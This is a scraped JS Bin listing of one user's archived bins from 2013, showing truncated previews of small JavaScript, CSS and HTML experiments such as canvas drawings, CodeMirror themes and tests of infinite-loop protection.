ufAneye 03 Sep 2013 Archive Un-archive document.getElementsByTagName('input')[0].onkeypress = function(evt) { evt = evt || window.event; var charCode = evt.keyCode || evt.which; var charStr = String.fromCharCode(charCode); console.log(charStr); };
eYELiVA 02 Sep 2013 Archive Un-archive // CodeMirror Theme In LESS // PAEz /* Mr Sharp wanted it to "work as expected", so heres hoping this is closer to what he expected ;) Should work fine, except gutters. Its going to be a pain to fix that by the looks of it, so in the meantime youll have t
EweBube 02 Sep 2013 Archive Un-archive Bins New My Bins (209)ctrl+o Add description Create milestonectrl+s Clonectrl+shift+s Export as gist Download Save as template How to embed Add library None-------------jQuery 2.x WIP (via git)jQuery 2.0.2jQuery 1.latestjQuery 1.10.1jQuery 1.8.3---
aZiRUG 01 Sep 2013 Archive Un-archive { someText:'here is some javascript', why:'cause we all love json!' }
ICibaME 26 Aug 2013 Archive Un-archive http://jsbin.com/oXegaQo/1/edit
oXegaQo 26 Aug 2013 Archive Un-archive // CodeMirror Theme In LESS // PAEz // Name your theme, or the one you want to override @theme-name : twilight; // Overall colour adjustments // @adjust-lightness : range -1 to 1 // @adjust-saturation : range -1 to 1 // @adjust-hue : spin range 0 to 1 (fr
IZiFA 25 Aug 2013 Archive Un-archive // CodeMirror Default Theme In LESS // PAEz // Name your theme, or the one you want to override @theme-name : solarized; // Overall colour adjustments // @adjust-lightness : range -1 to 1 // @adjust-saturation : range -1 to 1 // @adjust-hue : spin range 0
EtopUL 25 Aug 2013 Archive Un-archive // CodeMirror Default Theme In LESS // PAEz // Name your theme, or the one you want to override @theme-name : sol; // Overall colour adjustments // @adjust-lightness : range -1 to 1 // @adjust-saturation : range -1 to 1 // @adjust-hue : spin range 0 to 1
aXIRoYA 25 Aug 2013 Archive Un-archive
okojIvo 24 Aug 2013 Archive Un-archive for (var i = 0; i < 10; i++) { for (var j = 0; j < 10; j++) { i--; } }
uYiT 24 Aug 2013 Archive Un-archive {{t.length}} / 140 Required! Too long! tweet {{tweet}}
otorAqO 23 Aug 2013 Archive Un-archive var serveit=function(){ var run=function(obj){ var x; for(x in obj) { console.log(x+" is "+obj[x]); } }; return { run:run }; }(); serveit.run({"Firstname":"Jimbo", "Lastname":"Jambo"});
iNon 22 Aug 2013 Archive Un-archive body { font-size: 15px; font-family: sans-serif; }
3 22 Aug 2013 Archive Un-archive body { font-size: 50px; font-family: sans-serif; }
2 22 Aug 2013 Archive Un-archive body { font-size: 45px; font-family: sans-serif; }
1 22 Aug 2013 Archive Un-archive body { font-size: 45px; font-family: sans-serif; }
AjAJAf 22 Aug 2013 Archive Un-archive Your browser does not support HTML5 Canvas.
2 22 Aug 2013 Archive Un-archive Your browser does not support HTML5 Canvas.
1 22 Aug 2013 Archive Un-archive // Get a reference to the Canvas element and the drawing context. var canvas = document.getElementById('surface'); var context = canvas.getContext('2d'); // Return a random color value function getRandomColor() { return '#' + Math.random().toString(16).su
AmeWuda 21 Aug 2013 Archive Un-archive Your Address Your Enquiry
iqElOdA 21 Aug 2013 Archive Un-archive body { font-family: sans-serif; margin: 0; } header { background: red; padding: 20px; height: 100px; vertical-align: top; } .body { background: yellow; padding: 20px; position: absolute; top: 0; left: 0; right: 0; bottom: 0; transition: all ease-in-out 10
oBAs 21 Aug 2013 Archive Un-archive IE9 example
irAKezA 21 Aug 2013 Archive Un-archive html { background: blue; body { background: pink; height: 100px; } }
urumop 20 Aug 2013 Archive Un-archive
2 15 Aug 2013 Archive Un-archive
1 15 Aug 2013 Archive Un-archive
execeg 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
9 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
8 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
7 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
6 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
5 20 Aug 2013 Archive Un-archive jsbin comp attempt #1
4 19 Aug 2013 Archive Un-archive var ctx = document.querySelector('canvas').getContext('2d'), canvas = ctx.canvas, toRadian = Math.PI / 180, deg = 0, r = 35, offset = 50; var w = canvas.width = window.innerWidth; var h = canvas.height = window.innerHeight; function spin(x, y, deg) { ctx.
3 18 Aug 2013 Archive Un-archive body { margin: 0; }
2 18 Aug 2013 Archive Un-archive var ctx = document.querySelector('canvas').getContext('2d'), canvas = ctx.canvas, toRadian = Math.PI / 180, deg = 0, r = 35, offset = 50; var w = canvas.width = window.innerWidth; var h = canvas.height = window.innerHeight; function spin(x, y, deg) { ctx.
1 16 Aug 2013 Archive Un-archive jsbin comp attempt #1
oSEkOvo 20 Aug 2013 Archive Un-archive {{aPerson.name}} - {{aPerson.country}} {{aPerson.name}} - {{aPerson.country}} Update it
EMAHuYI 19 Aug 2013 Archive Un-archive console.log("Hello, test");
awUrabi 18 Aug 2013 Archive Un-archive var bbCan = document.createElement("canvas"), // backbuffer bbCtx = bbCan.getContext("2d"), canvas = document.getElementById("canvas"), // render canvas ctx = canvas.getContext("2d"); // modified heavily from a js1k I did a while back. var size = 16, size
iGAMoNa 18 Aug 2013 Archive Un-archive var x=0; do { x++; console.log(x); } while (x < 3); console.log("EOS");
ECuFIzI 18 Aug 2013 Archive Un-archive r = 140px s = 45px .line width r*2 height r*2 border s solid #f68e51 border-radius r*2 box-sizing border-box .mask1, .mask2 width r*2 height: r overflow hidden box-sizing border-box .mask1 -webkit-transform-origin bottom center -webkit-transform rotate(-1
iZEDUyi 17 Aug 2013 Archive Un-archive /* http://i.imgur.com/LFFz3ab.gif http://remysharp.com/2013/08/14/jsbin-5th-birthday/ by @robaldred Rob Aldred With a help from @alawatthe's entry because I suck at maths */ var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), dr
amorab 17 Aug 2013 Archive Un-archive /* My interpretation of http://imgur.com/a/FywLp#11 for the jsbin contest http://remysharp.com/2013/08/14/jsbin-5th-birthday/ Written by @alawatthe aka Alex */ var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), draw, drawGraph,
1 15 Aug 2013 Archive Un-archive /* My interpretation of http://imgur.com/a/FywLp#11 for the jsbin contest http://remysharp.com/2013/08/14/jsbin-5th-birthday/ Written by @alawatthe aka Alex */ var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), draw, drawGraph,
UbIpaCO 17 Aug 2013 Archive Un-archive while (true) { console.log('hello world'); }
enekuc 15 Aug 2013 Archive Un-archive /* My interpretation of http://imgur.com/a/FywLp#11 for the jsbin contest http://remysharp.com/2013/08/14/jsbin-5th-birthday/ Written by @alawatthe aka Alex */ var canvas = document.getElementById('canvas'), ctx = canvas.getContext('2d'), draw, drawGraph,
ecufub 14 Aug 2013 Archive Un-archive {{aPerson.name}} - {{aPerson.country}} {{aPerson.name}} - {{aPerson.country}} Update it
utucit 13 Aug 2013 Archive Un-archive // Bookmarklet Code Goes Here... var c = console; c.debug('afs')
odeyow 13 Aug 2013 Archive Un-archive $(function () { var svg = d3.select('body').append('svg'); svg.attr('class', 'chart') .attr('width', '100%') .attr('height', 30); var data = [5, 8, 5, 5], percOfData = function (d) { return (d / d3.max(data) * 100) + '%'; }, prevPercOfData = function (d,
1 13 Aug 2013 Archive Un-archive $(function () { var svg = d3.select('body').append('svg'); svg.attr('class', 'chart') .attr('width', '100%') .attr('height', 30); var data = [5, 8, 5, 5], percOfData = function (d) { return (d / d3.max(data) * 100) + '%'; }, prevPercOfData = function (d,
ulugib 12 Aug 2013 Archive Un-archive
2 12 Aug 2013 Archive Un-archive function isLeap(year) { "use strict"; return (year % 4 === 0 ) && (year % 100 !== 0 || year % 400 === 0); } console.log(isLeap(2008))
1 12 Aug 2013 Archive Un-archive
icedic 12 Aug 2013 Archive Un-archive
1 12 Aug 2013 Archive Un-archive function isLeap(year) { "use strict"; return (year % 4 === 0 ) && (year % 100 !== 0 || year % 400 === 0); } ^
agoxot 11 Aug 2013 Archive Un-archive class A class TmpClass extends A new TmpClass()
eqewur 11 Aug 2013 Archive Un-archive var canvas = document.getElementById("canvas"); var c = canvas.getContext("2d"); var centerX = canvas.width / 2; var centerY = canvas.height / 2; var radius = 2; var time = 0; function drawCircle(x, y, radius, color){ c.beginPath(); c.arc(x, y, radius, 0,
41 11 Aug 2013 Archive Un-archive var canvas = document.getElementById("canvas"); var c = canvas.getContext("2d"); var centerX = canvas.width / 2; var centerY = canvas.height / 2; var radius = 2; var time = 0; function drawCircle(x, y, radius, color){ c.beginPath(); c.arc(x, y, radius, 0,
uxoret 11 Aug 2013 Archive Un-archive i.am.just.an.error()
oharez 11 Aug 2013 Archive Un-archive JS Bin
owolog 10 Aug 2013 Archive Un-archive function $(element) { return document.querySelectorAll(element); } [].forEach.call($('.element'), function (el) { el.addEventListener("click", function (e) { alert(this.id); }); });
evubuf 10 Aug 2013 Archive Un-archive console.log('This is a test');
anuqex 10 Aug 2013 Archive Un-archive Contact Us Contact Us. Name: Email: Comment: Home Search Contact
odidur 10 Aug 2013 Archive Un-archive @-webkit-keyframes show 0% opacity: 0 10% opacity: 1 20% opacity: 1 40% opacity: 0 100% opacity: 0 rad = 8px .anim i opacity:0 display:inline-block background: red margin-right:4px width:rad height:rad border-radius:rad -webkit-animation-duration: 2s -web
3 06 Aug 2013 Archive Un-archive @-webkit-keyframes show 0% opacity: 0 10% opacity: 1 20% opacity: 1 40% opacity: 0 100% opacity: 0 rad = 8px .anim i opacity:0 display:inline-block background: red margin-right:4px width:rad height:rad border-radius:rad -webkit-animation-duration: 2s -web
2 05 Aug 2013 Archive Un-archive @-webkit-keyframes show 0% opacity: 0 10% opacity: 1 20% opacity: 1 40% opacity: 0 100% opacity: 0 rad = 8px .anim i opacity:0 display:inline-block background: red margin-right:4px width:rad height:rad border-radius:rad -webkit-animation-duration: 2s -web
1 05 Aug 2013 Archive Un-archive @-webkit-keyframes show 0% opacity: 0 10% opacity: 1 20% opacity: 1 40% opacity: 0 100% opacity: 0 rad = 8px .anim i opacity:0 display:inline-block background: red margin-right:4px width:rad height:rad border-radius:rad -webkit-animation-duration: 2s -web
oyukig 09 Aug 2013 Archive Un-archive body { padding: 100px 50px; } pre { width: 33em; border: solid red; -webkit-transform: translate(100px) rotate(20deg) scale(2); -webkit-transform-origin: 60% 100%; -o-transform:translate(100px) rotate(20deg); -o-transform-origin:60% 100%; transform: trans
1 09 Aug 2013 Archive Un-archive body { padding: 100px 50px; } pre { width: 33em; border: solid red; -webkit-transform: translate(100px) rotate(20deg); -webkit-transform-origin: 60% 100%; -o-transform:translate(100px) rotate(20deg); -o-transform-origin:60% 100%; transform: translate(100p
ihafad 09 Aug 2013 Archive Un-archive JS Bin
owemed 07 Aug 2013 Archive Un-archive
ujopah 06 Aug 2013 Archive Un-archive /* jsbin cool example */ @-webkit-keyframes show 0% opacity: 0 10% opacity: 1 20% opacity: 1 40% opacity: 0 100% opacity: 0 rad = 8px .anim i opacity:0 display:inline-block background: red margin-right:4px width:rad height:rad border-radius:rad -webkit-an
iqexaz 05 Aug 2013 Archive Un-archive function myFunction(arg1) { console.debug(arguments); } myFunction('foo', 'bar');
exijow 05 Aug 2013 Archive Un-archive alert("remy \nsharp\n wrote\n this ".split('\n').map(Function.prototype.call, String.prototype.trim));
3 05 Aug 2013 Archive Un-archive alert("remy \nsharp\n wrote\n this ".split('\n').map(String.trim));
elehak 05 Aug 2013 Archive Un-archive //
1 05 Aug 2013 Archive Un-archive var a = "remy \nsharp\n wrote\n this ".split('\n'); alert(a.map(String.trim));
oqoyum 05 Aug 2013 Archive Un-archive var one = "remy \nsharp\n wrote\n this ".split('\n').map(function (s) { // works return String.prototype.trim.call(s); }); console.log(one); // doesn't var two = "remy \nsharp\n wrote\n this ".split('\n').map(String.prototype.trim.call); // annoyingly the
1 05 Aug 2013 Archive Un-archive var one = "remy \nsharp\n wrote\n this ".split('\n').map(function (s) { return String.prototype.trim.call(s); }); console.log(one); var two = "remy \nsharp\n wrote\n this ".split('\n').map(String.prototype.trim.call); console.log(two);
utuzub 02 Aug 2013 Archive Un-archive Click to add Particles
ahozol 31 Jul 2013 Archive Un-archive Multi Text Multi Text 2
upotet 26 Jul 2013 Archive Un-archive JS Bin
1 26 Jul 2013 Archive Un-archive JS Bin
abepum 26 Jul 2013 Archive Un-archive function getQueryVariable(variable, query) { var vars = query.split('&'); for (var i = 0; i < vars.length; i++) { var pair = vars[i].split('='); console.log(pair); if (decodeURIComponent(pair[0]) == variable) { return decodeURIComponent(pair[1]); } } cons
ijajul 26 Jul 2013 Archive Un-archive var i=0; for(i=0; i<10; ++i){ break; } console.log('Is it running?');
usoqad 25 Jul 2013 Archive Un-archive var input = document.querySelector('input'); var output = document.querySelector('output'); input.oninput = function () { var st = 0, lbs = 0; var s = this.value.replace(/[^0-9\.\s]/g, '').trim().replace(/\s+/g, ' '); var parts = s.split(' '); st = parts[
1 14 Jul 2013 Archive Un-archive input, output { font-family: helvetica; font-size: 16px; display: block; margin: 20px; padding: 5px; }
aqefav 25 Jul 2013 Archive Un-archive
iheqof 23 Jul 2013 Archive Un-archive body { margin: 0; padding: 0; font-family: "Helvetica Neue", Helvetica, Arial; font-size: 13px; min-width: 976px; overflow: hidden; height: 100%; } a { color: #232323; text-shadow: #fff 0 1px 1px; } .buttons { min-width: 732px; min-width: 100%; float: lef
igekiz 23 Jul 2013 Archive Un-archive body { margin: 0; padding: 0; font-family: "Helvetica Neue", Helvetica, Arial; font-size: 13px; min-width: 976px; overflow: hidden; height: 100%; } a { color: #232323; text-shadow: #fff 0 1px 1px; } .buttons { min-width: 732px; min-width: 100%; float: lef
2 23 Jul 2013 Archive Un-archive body { margin: 0; padding: 0; font-family: "Helvetica Neue", Helvetica, Arial; font-size: 13px; min-width: 976px; overflow: hidden; height: 100%; } a { color: #232323; text-shadow: #fff 0 1px 1px; } .buttons { min-width: 732px; min-width: 100%; float: lef
1 23 Jul 2013 Archive Un-archive body { margin: 0; padding: 0; font-family: "Helvetica Neue", Helvetica, Arial; font-size: 13px; min-width: 976px; overflow: hidden; height: 100%; } a { color: #232323; text-shadow: #fff 0 1px 1px; } .buttons { min-width: 732px; min-width: 100%; float: lef
uzeqib 23 Jul 2013 Archive Un-archive I like a bit of red in my
2 19 Jul 2013 Archive Un-archive Lovely. What do you think?
1 19 Jul 2013 Archive Un-archive body { font-family: helvetica; background: red; }
exedab 21 Jul 2013 Archive Un-archive document.write('hello world'); console.log('a bit like this?');
oxerex 21 Jul 2013 Archive Un-archive var LIMIT = 10; var num, lastNum, tmp; for(num = 1, lastNum = 0; num < LIMIT; lastNum = num, num = tmp){ // console.log('Current num = ' + num); tmp = num + lastNum; } console.log('Last number = ' + lastNum);
1 20 Jul 2013 Archive Un-archive var LIMIT = 10; var num, lastNum, tmp; for(num = 1, lastNum = 0; // jsbin num < LIMIT; lastNum = num, num = tmp){ // console.log('Current num = ' + num); tmp = num + lastNum; } console.log('Last number = ' + lastNum);
orasoz 20 Jul 2013 Archive Un-archive // Determine if NUM is a prime number. var NUM=103, i, sqrt; for(i=2; i<=10; i+=1){ //jsbin if(NUM % i === 0){ console.log(NUM + " can be divided by " + i + "."); break; } } if(i > Math.sqrt(NUM)){ console.log(NUM, i); }
utahej 20 Jul 2013 Archive Un-archive var i = 0 console.log('ok');
ovarud 19 Jul 2013 Archive Un-archive var express = require('express'), http = require('http'), app = express(); app.configure('production', function () { app.set('title', 'IRC app'); app.set('is_production', true); app.use(express.logger('default')); }); app.configure('development', function
evapeb 18 Jul 2013 Archive Un-archive Cheese --> One Two Three Four Five
opuduh 18 Jul 2013 Archive Un-archive Cheese --> One Two Three Four Five
ijinur 18 Jul 2013 Archive Un-archive This is a Polypage note. Awesome To-Dos Errands Home Computer Errands Home Computer New list Cheese This is a really, really, really long to-do item. It has lots and lots of text. I w
udumuw 18 Jul 2013 Archive Un-archive $(document).ready(function(){ // Define an empty note section for an item. var emptynote = '<div class="note ui-corner-bottom"><div class="note_inner"><p>Empty note</p><p>Note contents go here.</p></div></div>'; // Polypage $('body').polypage(); window.ad
irater 18 Jul 2013 Archive Un-archive JS Bin
uhecig 18 Jul 2013 Archive Un-archive This is a Polypage note. Awesome To-Dos Errands Home Computer Errands Home Computer New list Cheese --> This is a really, really, really long to-do item. It has lots and lots of text
iwagef 17 Jul 2013 Archive Un-archive while (1) alert("Ha.");
ifenen 16 Jul 2013 Archive Un-archive window.Todos = Ember.Application.create(); Todos.Router.map(function () { //jsbin this.resource('todos', { path: '/' }); }); Todos.Store = DS.Store.extend({ //jsbin revision: 12, adapter: 'DS.FixtureAdapter' }); Todos.Todo = DS.Model.extend({//jsbin title
ikapuz 16 Jul 2013 Archive Un-archive todos Learn Ember.js ... Profit! 2 todos left All Active Completed Clear completed (1) Double-click to edit a todo
uxiqaj 16 Jul 2013 Archive Un-archive var a = 0; for(var i=1;i<=120000; i++) { a += 1; } var b=0; function f(){b+=1;} for(var j=1;j<=120000; j++) f(); alert("a:"+ a + " b:"+b);
6 16 Jul 2013 Archive Un-archive var a = 0; for(var i=1;i<=120000; i++) { a += 1; } var b=0; function f(){b+=1;} for(var j=1;j<=120000; j++) f(); alert("a:"+ a + " b:"+b); while (true) { console.log('log'); } console.log('ok');
3 14 Jul 2013 Archive Un-archive var a = 0; for(var j=1;j<=2;j++){ for(var i=1;i<=60000;i++) { a += 1; } } alert(a);
umixuw 16 Jul 2013 Archive Un-archive console.log("do"); console.log("while"); console.log(" foo do bar "); console.log(" foo while bar ");
urepen 16 Jul 2013 Archive Un-archive Generate .csr and .key file openssl req -new -newkey rsa:2048 -nodes -keyout headshots.leftlogic.com.key -out headshots.leftlogic.com.csr Ensure the "common name" is the host you want to assign the certificate to (in my case it was headshots.leftlogic.com
uvipeb 16 Jul 2013 Archive Un-archive body { font-family: "comic sans"; font-size: 24px; font-weight: bold; }
1 16 Jul 2013 Archive Un-archive body { font-family: "comic sans"; font-size: 24px; }
akunah 15 Jul 2013 Archive Un-archive while(1) { } console.log('ok');
itetil 15 Jul 2013 Archive Un-archive var s = +new Date; for (var i = 0; i < 300000; i++) { document.body.className = i; if ((+new Date - s) >= 100) { // break; } } console.log('remy', i); // so this is an example... // so this is an an example - nice.
otopeb 15 Jul 2013 Archive Un-archive Hello world - I'll lock this revision Quicky change - but it was locked.
1 15 Jul 2013 Archive Un-archive Hello world - I'll lock this revision Quicky change
uyayix 14 Jul 2013 Archive Un-archive
23 14 Jul 2013 Archive Un-archive
ononek 14 Jul 2013 Archive Un-archive Lorem ipsum dolor sit amet, consectetur adipiscing elit.Etiam facilisis ultrices dolor, eu fermentum eros aliquet ac. Aenean varius ultrices nisi vel aliquet. Nam eu viverra sem. Fusce facilisis eros ac elit scelerisque molestie. Morbi lacus orci, inte
etemuj 14 Jul 2013 Archive Un-archive JS Bin
ifoqev 14 Jul 2013 Archive Un-archive var nums = [0,1]; var total = 8; for(i = 0; i <= total; i++){ var newest = nums[i--]; nums.push(newest); } console.log(nums); while (true); // why would you even do this!? console.log('Yep, infinite loops don\'t mess with jsbin oh, no');
anegof 13 Jul 2013 Archive Un-archive $("#btn").on("click",function(){ $("#div1").html(new Date()); }); $(document).ready(function(){ setTimeout(function() { count(); },1); }); function count(){ for(var i =0;i<100000;i++){ $("#div2").html(i); } $("#div2").append(new Date()); }
ezehih 13 Jul 2013 Archive Un-archive function b() { break; } for (var i = 0; i < 10; i++) { b(); } console.log(i);
ihefem 13 Jul 2013 Archive Un-archive function infiniteLoopTest(code) { var lines = code.split('\n'), recompiled = [], re = /for\b|while\b|do\b/; // reset the counters counters = {}; lines.forEach(function (line, i) { var index = 0; if (re.test(line)) { // try to insert the tracker after the
1 13 Jul 2013 Archive Un-archive function test (line) { var index = 0; if (index = line.lastIndexOf(')')) { // look for a one liner var colonIndex = 0; if (colonIndex = line.substring(index).indexOf(';')) { // in which case, rewrite the loop to add braces colonIndex += index; line = line
exerar 11 Jul 2013 Archive Un-archive var nums = [0,1]; var total = 8; for(i = 0; i <= total; i++){ var newest = nums[i--]; nums.push(newest); } console.log(nums);
ovujof 10 Jul 2013 Archive Un-archive var root = document.body, height = 125; function random(lower, upper) { return lower + Math.random() * (upper - lower) | 0; } function block() { // always taller var minW = 10, minH = 40, maxW = 30, maxH = 120; var container = document.createElement('div'
1 07 Jul 2013 Archive Un-archive var root = document.body, height = 125; function random(lower, upper) { return lower + Math.random() * (upper - lower) | 0; } function block() { // always taller var minW = 10, minH = 40, maxW = 30, maxH = 120; var container = document.createElement('div'
ugocoy 09 Jul 2013 Archive Un-archive Check out this Pen!
okukab 06 Jul 2013 Archive Un-archive function slug(s) { return s.toLowerCase().replace(/[^a-z0-9\s]+/g, '').replace(/\s+/g, '-'); } console.log(slug('Mobile Is Not A Thing; It Is Everything.'));
onayod 05 Jul 2013 Archive Un-archive # yolo
unupis 04 Jul 2013 Archive Un-archive JS Bin
2 04 Jul 2013 Archive Un-archive JS Bin
1 04 Jul 2013 Archive Un-archive r
ucagin 04 Jul 2013 Archive Un-archive $('h1').html('ok');
ehutuk 03 Jul 2013 Archive Un-archive ...
emojox 02 Jul 2013 Archive Un-archive # Hello world
ogejum 01 Jul 2013 Archive Un-archive Moment.js test
ohuhek 28 Jun 2013 Archive Un-archive Webkit Filters
alohek 28 Jun 2013 Archive Un-archive Parse.initialize("iUYHeDPoqJpIKh47xbBnBXHupvRJj4txmoexkBgg", "b9hEWzw8e5XNRTsf2c5PJlz6vMIpgwTu0aLeAMYZ"); var TestObject = Parse.Object.extend("TestObject"); var q = new Parse.Query(TestObject); q.equalTo("foo", "bar"); q.find({ success: function(object)
3 28 Jun 2013 Archive Un-archive 3 rev 3
2 28 Jun 2013 Archive Un-archive Parse.initialize("iUYHeDPoqJpIKh47xbBnBXHupvRJj4txmoexkBgg", "b9hEWzw8e5XNRTsf2c5PJlz6vMIpgwTu0aLeAMYZ"); var TestObject = Parse.Object.extend("TestObject"); var testObject = new TestObject(); testObject.get('foo', { success: function(object) { alert("yay
1 28 Jun 2013 Archive Un-archive Parse.initialize("iUYHeDPoqJpIKh47xbBnBXHupvRJj4txmoexkBgg", "b9hEWzw8e5XNRTsf2c5PJlz6vMIpgwTu0aLeAMYZ"); var TestObject = Parse.Object.extend("TestObject"); var testObject = new TestObject(); testObject.get('foo', { success: function(object) { alert("yay
edezib 28 Jun 2013 Archive Un-archive JS Bin
ulepiy 27 Jun 2013 Archive Un-archive $ = document.querySelector.bind(document); // 0 is PERMISSION_ALLOWED if (window.webkitNotifications.checkPermission() !== 0) { window.webkitNotifications.requestPermission(); } else { window.webkitNotifications.requestPermission(); } var count = $('.coun
2 27 Jun 2013 Archive Un-archive $ = document.querySelector.bind(document); // 0 is PERMISSION_ALLOWED if (window.webkitNotifications.checkPermission() !== 0) { window.webkitNotifications.requestPermission(); } else { window.webkitNotifications.requestPermission(); } var count = $('.coun
1 27 Jun 2013 Archive Un-archive $ = document.querySelector.bind(document); // 0 is PERMISSION_ALLOWED if (window.webkitNotifications.checkPermission() !== 0) { window.webkitNotifications.requestPermission(); } else { window.webkitNotifications.requestPermission(); } var count = $('.coun
obukod 27 Jun 2013 Archive Un-archive $('body').append('<p>jQuery is just JavaScript!</p>').css({ color: 'red', background: 'blue' });
orapos 26 Jun 2013 Archive Un-archive div { float:left; background-color:#f5f5f5; padding:0px 10px 0px 10px; color:#627686; line-height:32px; overflow:hidden; width:150px; border-radius:5px; margin-right:15px; } li { list-style:none; margin:0; padding:0; border-top:1px solid #DDD; } li:before
ozilaw 26 Jun 2013 Archive Un-archive left: 0px; right: 0px; bottom: 0px; top: 0px; position: fixed; background-image: url(/images/brighton-bkg.png); -webkit-transform: translateZ(0); pointer-events: none;
uvibec 26 Jun 2013 Archive Un-archive JS Bin
efisoy 25 Jun 2013 Archive Un-archive
obimos 25 Jun 2013 Archive Un-archive This is another version... Checks if Tom was forward thinking... :)
iciqos 24 Jun 2013 Archive Un-archive Hello world.
ucesih 22 Jun 2013 Archive Un-archive function two() { paper.install(window); //window.onload = function() { // Setup directly from canvas id: paper.setup('c'); var path = new Path(); path.strokeColor = 'black'; var start = new Point(100, 100); path.moveTo(start); path.lineTo(start.add([ 200,
2 22 Jun 2013 Archive Un-archive function two() { paper.install(window); //window.onload = function() { // Setup directly from canvas id: paper.setup('c'); var path = new Path(); path.strokeColor = 'black'; var start = new Point(100, 100); path.moveTo(start); path.lineTo(start.add([ 200,
1 22 Jun 2013 Archive Un-archive function two() { paper.install(window); //window.onload = function() { // Setup directly from canvas id: paper.setup('c'); var path = new Path(); path.strokeColor = 'black'; var start = new Point(100, 100); path.moveTo(start); path.lineTo(start.add([ 200,
oxabuf 22 Jun 2013 Archive Un-archive while () { }
ivisuv 21 Jun 2013 Archive Un-archive var ctx = document.createElement('canvas').getContext('2d'); document.body.appendChild(ctx.canvas);
ahecel 21 Jun 2013 Archive Un-archive Below is a working example of loading twitters after the page has completed, thus preventing the whole page from locking up (notice that the spinner will continue until the twitters are loaded) - based on my tweets from myself:
atawos 21 Jun 2013 Archive Un-archive Code cast. This is a simple example.
3 21 Jun 2013 Archive Un-archive Code cast. This is a simple example.
2 21 Jun 2013 Archive Un-archive Code cast. This is a simple example....
1 21 Jun 2013 Archive Un-archive Code cast. This is a simple example.
ojoros 11 Jun 2013 Archive Un-archive function iframe(term, type, ready) { var f = document.createElement('iframe'), id = '337576484757721088'; //+ /*f.style.display = 'none'; f.style.position = 'absolute'; f.style.height = '1%'; f.style.top = '-99999px;' // high as a kite */ f.id = id; docum
2 03 Jun 2013 Archive Un-archive function iframe(term, type, ready) { var f = document.createElement('iframe'), id = '666'; // '337576484757721088'; //+ /*f.style.display = 'none'; f.style.position = 'absolute'; f.style.height = '1%'; f.style.top = '-99999px;' // high as a kite */ f.id =
1 23 May 2013 Archive Un-archive function iframe(term, type, ready) { var f = document.createElement('iframe'), id = '666'; // '337576484757721088'; //+ /*f.style.display = 'none'; f.style.position = 'absolute'; f.style.height = '1%'; f.style.top = '-99999px;' // high as a kite */ f.id =
ejapuh 11 Jun 2013 Archive Un-archive Object.prototype.equals = function(x) { var p; for(p in this) { if(typeof(x[p])=='undefined') {return false;} } for(p in this) { if (this[p]) { switch(typeof(this[p])) { case 'object': if (!this[p].equals(x[p])) { return false; } break; case 'function': i
aqotaq 11 Jun 2013 Archive Un-archive This is just a test - I hope it still works!
animap 08 Jun 2013 Archive Un-archive ad { font-size: 0; } HiBuy new car MikeHiBuy new car Mike
okixar 07 Jun 2013 Archive Un-archive JS Bin
ijofal 05 Jun 2013 Archive Un-archive hello
ipewup 05 Jun 2013 Archive Un-archive
1 05 Jun 2013 Archive Un-archive body:before{ content: attr(data-clicks) " clicks / " attr(data-touchstart) " touches"; position: fixed; left: 0; top: 0; border: 1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; text-shadow: black 3px 3px 3px; }
elibum 05 Jun 2013 Archive Un-archive body[data-clicks]:before{ content: attr(data-clicks) " clicks / " attr(data-touchstart) " touches"; position: fixed; left: 0; top: 0; border: 1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; text-shadow: black 3
2 05 Jun 2013 Archive Un-archive body[data-clicks]:before{ content: attr(data-clicks) " clicks / " attr(data-touchstart) " touches"; position: fixed; left: 0; top: 0; border: 1px solid green; background-color: limegreen; padding: 5px; border-bottom-right-radius: 5px; text-shadow: black 3
ipojay 04 Jun 2013 Archive Un-archive with (window) { var a; } console.log(a);
1 04 Jun 2013 Archive Un-archive Hoisting across scripts
ufureb 04 Jun 2013 Archive Un-archive var a;
uyaxuf 04 Jun 2013 Archive Un-archive var a = 10;
avagaq 02 Jun 2013 Archive Un-archive function foo() { while(true) { console.log('true'); } } foo()
1 02 Jun 2013 Archive Un-archive alert('foo');
exopej 23 May 2013 Archive Un-archive
5 23 May 2013 Archive Un-archive
emifij 23 May 2013 Archive Un-archive -
2 18 Apr 2013 Archive Un-archive Remy is the founder and curator of Full Frontal, the UK based JavaScript conference. He also ran jQuery for Designers, co-authored Introducing HTML5 (adding all the JavaScripty bits) and is one of the curators of HTML5Doctor.com. Whilst he&#39;s not writi
1 18 Apr 2013 Archive Un-archive [Remy][1] is the founder and curator of [Full Frontal][2], the UK based JavaScript conference. He also ran [jQuery for Designers][3], co-authored [Introducing HTML5][4] (adding all the JavaScripty bits) and is one of the curators of [HTML5Doctor.com][5].
eyafun 21 May 2013 Archive Un-archive body { background: blue; h1 { font: normal 72px sans-serif; font-size: 12vw; color: red; } }
1 17 May 2013 Archive Un-archive body { background: yellow; h1 { font: normal 72px sans-serif; font-size: 12vw; color: red; } }
ibifuc 14 May 2013 Archive Un-archive Testing for Scott Murray &nbsp; Chapters Log in Sign up sorted by: Relevance Author(s) Title returning 5 10 20 50 100 values at a time. Chapter 8. Axes Prev Next Chapter 8. Axes Having mastered the use of D3 scales, we no
ahosul 14 May 2013 Archive Un-archive var formatAsPercentage = d3.format(".1%");
aqaxox 14 May 2013 Archive Un-archive Testing for Scott Murray &nbsp; Chapters Log in Sign up sorted by: Relevance Author(s) Title returning 5 10 20 50 100 values at a time. Chapter 8. Axes Prev Next Chapter 8. Axes Having mastered the use of D3 scales, we no
oqazuv 14 May 2013 Archive Un-archive test
oceram 12 May 2013 Archive Un-archive Hopefully this works. You never know though.
ikulal 12 May 2013 Archive Un-archive Up and running in 5 minutesGetting past the basics: modules, static servers, application serversAdding real-time: websocketsWorkflow tools for running and debuggingDatastores with Mongo &amp; MongooseDependencies with npmHands on advice for:publishing to
ogivow 11 May 2013 Archive Un-archive console.log("This is my error: ", (new Error().stack.replace(/Error\n/,'')));
uqires 10 May 2013 Archive Un-archive About Head Shots! Developed by Remy Sharp of Left Logic as originally a Chrome Experiment for Google IO 2013. Head Shots aims to show off the new and exciting technology available in mobile and desktop devices in the very near future. This project include
